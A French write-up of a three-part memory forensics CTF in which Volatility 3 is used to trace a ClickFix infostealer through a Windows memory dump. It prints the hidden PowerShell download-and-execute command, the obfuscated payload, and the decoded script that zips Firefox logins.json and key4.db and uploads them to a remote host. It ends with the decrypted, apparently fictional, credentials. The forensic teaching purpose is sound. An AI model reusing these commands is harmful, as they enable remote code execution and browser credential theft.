Icuras Elran
Un challenge de memory forensics appelant à l'étude d'un infostealer très simple par le biais d'un dump mémoire.
Introduction
Icarus Elran 1-3
Icarus Elran 1
La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.
Pour cette première partie, retrouvez la commande exécutée par Jean lors du phishing.
Format: NBCTF{socket|filepath} Exemple: NBCTF{10.0.12.5:8080|C:\Users\J.Dupond\Desktop\un_fichier.txt}
memory.zip
sha256sum: 482a8e87a53b59a1a0074a0f4af763438da371cd980208648366546f77b09203 memory.dmp
Author: alex532h
Résolution
Analyse Intitiale :
Ce challenge est présenté dans la catégorie Forensics et nous encourage à nous lancer dans l'analyse d'un dump mémoire. Notre mission sera donc de retrouver la commande que Jean à éxécuté qui à permis le clickfix.
Dans le format du flag nous pouvons voir un chemin de fichier typique de Windows, on peut donc raisonnablement se douter que la commande sera enregistrée dans des logs de terminal de Windows.
On nous parle aussi de "Clickfix" : Il s'agit d'une technique de Social Engineering où un attaqueur met en place un Captcha malveillant, qui demande souvent à l'utilisateur de coller dans le run de windows ou le terminal ce qui à été copié par le site dans leur presse-papier, et ce, afin de prouver leur humanité.

Tooling :
Comme dans l'immense majorité des challenges de Memory Forensics, notre meilleur ami sera Volatility 3. Ce framework extrêmement puissant rassemble tout le tooling dont nous pourrions rêver pour résoudre ce challenge.
terminalbash$- pip install volatility3
Réflexion :
Après extraction, on se retrouve avec un fichier dmp sobrement nommé memory.dmp
Un core dump ou cliché est un fichier dans lequel est enregistré une copie de la mémoire vive et des registres d'un processeur, permettant d'avoir un instantané de l'état d'un système.
1- Avant toute chose, nous devons déterminer le profil du système :
On se doute déjà que l'on va étudier un dump venant d'une machine sous Windows, cependant, cela reste une bonne idée de vérifier (les plugins de Volatility3 ne sont pas les mêmes selon les OS).
terminalbash$- vol -f memory.dmp windows.info > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Variable Value [...] > NtSystemRoot C:\Windows > NtMajorVersion 10
Ici, le plugin retourne bien un certain nombre d'infos sur le dump, confirmant bien que le système est une instance de windows 10.
2- Exploration
Passons au coeur du sujet : On nous demande de retrouver une commande éxecutée sur la machine au moment de l'attaque.
Pour ça, on va utiliser un module de volatility : cmdline
terminalbash$- vol -f memory.dmp windows.cmdline > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > PID Process Args [...] > 8400 cmd.exe "C:\Windows\system32\cmd.exe" /k start /b powershell -w h "$o=Join-Path $Env:LOCALAPPDATA '\Temp\msin0.txt';iwr -Uri 'http://192.168.57.118:4037/msin0.txt' -OutFile $o;iex (gc $o -Raw)" ;# ✅ I am not a robot - Verification ID : 1337 -------------- [...]
Ici, pour l'identification de la ligne concernée dans le mur de texte que produit
windows.cmdline
nous sommes bien aidés par ✅ I am not a robot qui ressort fortement.
On à donc une des deux parties du flag :
socket = 192.168.57.118:4037
Et, en prime, une indication sur la deuxième partie du flag :
$Env:LOCALAPPDATA '\Temp\msin0.txt
Maintenant il ne nous reste plus qu'à chercher ce fameux dossier de LOCALAPPDATA :
On sait que le dossier appdata est dans le dossier utilisateur sous windows, cela signifie que nous pouvons tenter de voir si une commande à été exécutée depuis ce dernier :
terminalbash$- vol -f memory.dmp windows.cmdline | grep -i "utilisateur" # ou vol -f memory.dmp windows.cmdline | grep -i "appdata" > 6836ressOneDrive.exe "C:\Users\utilisateurlambda\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background [...]
et voilà, on peut extrapoler la position du payload :
filepath = C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt
3- Recréation du flag
en suivant le modèle donné :
NBCTF{socket|filepath}
On a :
- 192.168.57.118:4037
- C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt
D'où :
NBCTF{192.168.57.118:4037|C:\Users\utilisateurlambda\AppData\Local\Temp\msin0.txt}
test vol -f memory.dmp consoles
Icuras Elran - 2
Introduction
La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.
Maintenant que vous savez qu'un fichier a été técléchargé puis exécuté, récupérez son contenu pour savoir ce qu'il fait.
*PS: pour des raisons techniques, veuillez considérer que msin0.txt est maintenant msin1.txt*
Format: NBCTF{target_filepath_1|target_filepath2|destination_filepath|socket} Exemple: NBCTF{C:\Users\J.Dupond\Desktop\fichier_1|C:\Users\J.Dupond\Desktop\fichier_2|C:\Users\J.Dupond\Téléchargements\j_dupont.png|10.13.37.3:4444}
Author: alex532h
Résolution
Réflexion
Nous avons déjà trouvé le chemin vers le fichier incriminé (C:\Users\utilisateurlambda\AppData\Local\Temp\msin1.txt), Il nous reste maintenant plus qu'à le récupérer et à analyser son contenu !
Pour cela, nous allons faire appel à un autre module de volatility : dumpfiles
Dumpfiles est un plugin qui dump un fichier donné à partir des extraits de la mémoire de Windows présents dans le dump.
Cependant, dumpfiles ne prend pas un nom de fichier, mais une adresse mémoire :
terminalbash$- vol windows.dumpfiles -h > Volatility 3 Framework 2.26.2 usage: vol windows.dumpfiles.DumpFiles [-h] [--pid PID] [--virtaddr [VIRTADDR ...]] [--physaddr [PHYSADDR ...]] [--filter FILTER] [--ignore-case] Dumps cached file contents from Windows memory samples. options: -h, --help show this help message and exit --pid PID Process ID to include (all other processes are excluded) --virtaddr [VIRTADDR ...] Dump the _FILE_OBJECTs at the given virtual address(es) --physaddr [PHYSADDR ...] Dump a single _FILE_OBJECTs at the given physical address(es)
Cependant, si on regarde l'aide du module, on se rend compte que dumpfiles utilise l'adresse physique ou virtuelle, et non l'emplacement du fichier, pour obtenir cette dernière, nous allons utiliser un enième module de volatility : filescan.
Nous on ne s'intéresse qu'à ce qui concerne msin1.txt, on va donc grep la sortie
Cette commande met du temps à s'éxecuter, et c'est normal : elle liste TOUS les fichiers du dump, on ne le voit juste pas à cause du grep.
terminalbash$- vol -f memory.dmp windows.filescan | grep -i msin1 > 0x9d0db01317d0.0\Users\utilisateurlambda\AppData\Local\Temp\msin1.txt
l'adresse virtuelle est donc : 0x9d0db01317d0
D'après la doc de volatility, la syntaxe de windows.dumpfiles est :
vol -f memory.dmp windows.dumpfiles --virtaddr <virtaddr>
terminalbash$- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db01317d0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db01317d0 msin1.txt file.0x9d0db01317d0.0x9d0daff51ab0.DataSectionObject.msin1.txt.dat
Nous obtenons ainsi un fichier .dat qu'il nous suffit d'ouvrir dans un éditeur de texte :
à l'interieur nous découvrons un fichier powershell d'une seule ligne qui contient une ligne en base 64, c'est une technique d'obfuscation basique souvent utilisé par des malwares pour cacher le code malveillant aux yeux des utilisateurs suspicieux et des antivirus.
Entrée
N2MzLjNUdmc+UHt6f3daZ3Z+Mz5XemF2cGd8YWozPkNyZ3szMTdWfWUpUkNDV1JHUk9efGl6f39yT1V6YXZ1fGtPQ2F8dXp/dmAxMz5Ven9ndmEzMTk9d3Z1cmZ/Zz5hdn92cmB2MTNvM0B2f3ZwZz5ccXl2cGczPlV6YWBnMyIoN2czLjNTOzE3OzdjPVVmf39dcn52Ok9/fHR6fWA9eWB8fTE/MzE3OzdjPVVmf39dcn52Ok94dmonPXdxMTooN3czLjMxN1Z9ZSlfXFBSX1JDQ1dSR1JPR3Z+Y09VemF2dSNrT2B2YWV6cHZkfGF4dmE9aXpjMSh6dTM7MjtHdmBnPkNyZ3szMTdWfWUpX1xQUl9SQ0NXUkdST0d2fmNPVXphdnUjazE6OmhddmQ+Wmd2fjM+Wmd2fkdqY3YzV3phdnBnfGFqMz5Dcmd7MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT1V6YXZ1I2sxbihQfH5jYXZgYD5SYXB7emV2Mz5Dcmd7MzdnMz5XdmBnen1yZ3p8fUNyZ3szN3czPlV8YXB2KDdmMy4zMXtnZ2MpPDwiKiE9IiUrPSUlPSEiKykrIyMjPGZjf3xydzEoN3UzLjNTaHV6f3ZgMy4zVHZnPlpndn4zPkNyZ3szN3duKFpWSzM7XXZkPlxxeXZwZzNddmc9RHZxUH96dn1nOj1XfGR9f3xyd0BnYXp9dDsxe2dnY2ApPDxhcmQ9dHpne2ZxZmB2YXB8fWd2fWc9cHx+PHlmf3p8ZmF2fXI8Y39yen1ndmtnPH5yYGd2YTxDfGR2YWB7dn9/PENARmN/fHJ3PWNgIjE6KFp9ZXx4dj5Ven92RmN/fHJ3Mz5GYXozN2YzPlV6f3YzN3cZUHxjaj5aZ3Z+Mz5Dcmd7MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT35gen0jPWdrZzEzPld2YGd6fXJnenx9MzE3Vn1lKV9cUFJfUkNDV1JHUk9Hdn5jT35gen0iPWdrZzEwfnJjM2d7djN1en92M3p9M352fnxhag==Résultat
7c3.3Tvg>P{zwZgv~3>Wzavpg|aj3>Crg{317V}e)RCCWRGRO^|izrOUzavu|kOCa|uzv`13>Uzgva319=wvurfg>avvr`v13o3@vvpg>\qyvpg3>Uza`g3"(7g3.3S;17;7c=Uf]r~v:O|tz}`=y`|}1?317;7c=Uf]r~v:Oxvj'=wq1:(7w3.317V}e)_\PR_RCCWRGROGv~cOUzavu#kO`vaezpvd|axva=izc1(zu3;2;Gv`g>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1::h]vd>Zgv~3>Zgv~Gjcv3Wzavpg|aj3>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1n(P|~cav``>Rap{zev3>Crg{37g3>Wv`gz}rgz|}Crg{37w3>U|apv(7f3.31{ggc)<<"*!="%+=%%=!"+)+###<fc|rw1(7u3.3Shuzv`3.3Tvg>Zgv~3>Crg{37wn(ZVK3;]vd>\qyvpg3]vg=DvqPzv}g:=W|d}|rw@gaz}t;1{ggc`)<<ard=tzg{fqf`vap|}gv}g=p|~<yfz|fav}r<crz}gvkg<~r`gva<C|dva`{v<C@Fc|rw=c`"1:(Z}e|xv>UzvFc|rw3>Faz37f3>Uzv37wP|cj>Zgv~3>Crg{317V}e)_\PR_RCCWRGROGv~cO~`z}#=gkg13>Wv`gz}rgz|}317V}e)_\PR_RCCWRGROGv~cO~`z}"=gkg10~rc3g{v3uzv3z}3~v~|ajCe texte est toujours incompréhensible, cependant, si on lit le fichier jusqu'au bout, on se rend compte que celui-ci est XORé après sa conversion depuis la base 64 :
| ForEach-Object { $_ -bxor 0x13 }))
avec 0x13
Pour comprendre pourquoi nous pouvons simplement Xor le texte déjà Xoré, voir la page de wiki sur les propriétés du XOR utiles en cryptographie.
Bac à sable Python 3.10.0
lorsque nous appliquons le XOR :
$p = Get-ChildItem -Directory -Path "$Env:APPDATA\Mozilla\Firefox\Profiles" -Filter "*.default-release" | Select-Object -First 1;$t = @("$($p.FullName)\logins.json", "$($p.FullName)\key4.db");$d = "$Env:LOCALAPPDATA\Temp\Firef0x\serviceworker.zip";if (!(Test-Path "$Env:LOCALAPPDATA\Temp\Firef0x")){New-Item -ItemType Directory -Path "$Env:LOCALAPPDATA\Temp\Firef0x"};Compress-Archive -Path $t -DestinationPath $d -Force;$u = "http://192.168.66.218:8000/upload";$f = @{files = Get-Item -Path $d};IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1");Invoke-FileUpload -Uri $u -File $d Copy-Item -Path "$Env:LOCALAPPDATA\Temp\msin0.txt" -Destination "$Env:LOCALAPPDATA\Temp\msin1.txt"#map the file in memory
Nous retrouvons le string de texte original !
3- Recréation du flag
Et malheuresement il est encore trop tôt pour se réjouir !
Il faut que nous déterminions les paths exacts des fichiers, nous savons que les fichiers sont extraits du profil "default-release" : -Filter "*.default-release" du navigateur firefox $Env:APPDATA\Mozilla\Firefox\Profiles.
Or, le navigateur firefox génère un string aléatoire pour différencier les profiles :

pour trouver le path exact, nous allons chercher dans le dump au moyen de windows.filescan
terminalbash$- vol -f memory.dmp windows.filescan | grep -i logins.json > 0x9d0db013aab0 \Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json
Avec ce résultat, on a le path de logins.json et on peut extrapoler le path de key4.db (c'est le même !)
Donc, en suivant le modèle donné :
NBCTF{target_filepath_1|target_filepath2|destination_filepath|socket}
On a :
- target_filepath_1 = C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json
- target_filepath2 = C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db
- destination_filepath = C:\Users\utilisateurlambda\AppData\Local\Temp\Firef0x\serviceworker.zip
- socket = 192.168.66.218:8000
D'où :
NBCTF{C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\logins.json|C:\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db|C:\Users\utilisateurlambda\AppData\Local\Temp\Firef0x\serviceworker.zip|192.168.66.218:8000}
Challenge Validé !
Icuras Elran - 3
Introduction
La mairie de Jean vient de l'informer qu'elle a subit une attaque informatique proposant aux utilisateurs un faux captcha dissimulant un clickfix. Pensant en avoir été victime, il a réalisé un dump mémoire de sa machine. Aidez-le à comprendre le schéma d'attaque.
Vous savez maintenant que des informations du profil firefox de Jean ont été exfiltrées. Quelles informations contiennent ces fichiers ?
Format: NBCTF{url|username|password}
Author: alex532h
Résolution
1- Réflexion préalable
Pour l'ultime challenge de cette série, on nous demande de retrouver les logins contenus dans le profile de Jean qui ont étés volés.
Je savais déjà que les gestionnaires de mots de passes integrés aux navigateurs n'étaient pas des plus sécuritaires, mais c'est en recherchant pour ce challenge que je me suis rendu compte de la risibilité de leur sécurité,
en effet, pour récupérer les mots de passe contenus de manière chiffrée par logins.json (chiffrée avec les clefs de key4.db), il suffit de passer ces deux fichiers dans un logiciel appelé Firefox Decrypt.
Attention, le logiciel peut récupérer les mots de passes lorsque le profil n'est pas protégé par un Master Password , cependant, en réalité, une infime partie des utilisateurs du gestionnaire de mot de passe intégré sont des power users suffisament avancés pour avoir connaissance de cette possibilité. Cela va sans dire que très peu ont implémenté un Master Password sur leur profile.
2- Récupération des fichiers
On a précedemment récupéré l'adresse mémoire virtuelle de logins.json (0x9d0db013aab0)
On peut donc récupérer le fichier avec windows.dumpfiles :
terminalbash$- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db013aab0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db013aab0 logins.json file.0x9d0db013aab0.0x9d0daff50070.DataSectionObject.logins.json.dat
Même opération pour key4.db :
terminalbash$- vol -f memory.dmp windows.filescan | grep -i key4.db > 0x9d0db01391b0.0\Users\utilisateurlambda\AppData\Roaming\Mozilla\Firefox\Profiles\od8wff89.default-release\key4.db $- vol -f memory.dmp windows.dumpfiles --virtaddr 0x9d0db01391b0 > Volatility 3 Framework 2.26.2 > Progress: 100.00 PDB scanning finished > Cache FileObject FileName Result > DataSectionObject 0x9d0db01391b0 key4.db file.0x9d0db01391b0.0x9d0daff50cf0.DataSectionObject.key4.db.dat
3- Exploitation par firefox_decrypt :
Pour pouvoir l'exploiter avec firefox_decrypt, il faut que nous rennomions les fichiers :
file.0x9d0db013aab0.0x9d0daff50070.DataSectionObject.logins.json.dat > logins.json
file.0x9d0db01391b0.0x9d0daff50cf0.DataSectionObject.key4.db.dat > key4.db
Enfin, plaçons les dans un vrai profile firefox créé pour l'occasion (firefox_decrypt exige un profile.ini valide, c'est plus simple d'utiliser un vrai profile)
On peut ensuite run python3 firefox_decrypt.py /path/to/profile
terminalbash$- python firefox_decrypt.py /home/user/.mozilla/firefox/ci3485ek.default-release/ > WARNING - profile.ini not found in /home/user/.mozilla/firefox/ci3485ek.default-release/ > WARNING - Continuing and assuming '/home/user/.mozilla/firefox/ci3485ek.default-release/' is a profile location > Website: https://mairie-lambda.fr > Username: 'racine.jean' > Password: ';K#]Q@']pJyu3'
4- Recréation du flag :
Donc, en suivant le modèle donné :
NBCTF{url|username|password}
On a :
- Website: 'https://mairie-lambda.fr'
- Username: 'racine.jean'
- Password: ';K#]Q@']pJyu3'
D'où :
NBCTF{https://mairie-lambda.fr|racine.jean|;K#]Q@']pJyu3}
Challenge Validé !
J'ai choisi de présenter cette série de challenge car j'apprécie particulièrement le memory forensics et que ces derniers illustrent la faille béante de sécurité que constitue le password manager integré dans les navigateurs. C'est d'une simplicité déconcertante de retrouver les credentials avec l'accès au disque de la machine, même si celle-ci est éteinte. (Je pense notamment à un individu malveillant utilisant un linux sur clef USB pour extraire les fichiers d'un disque qui n'est pas chiffré.)
Bon, c'était un sacré writeup, mais j'espère avoir été assez exhaustif. Et surtout, merci d'avoir suivi jusqu'ici !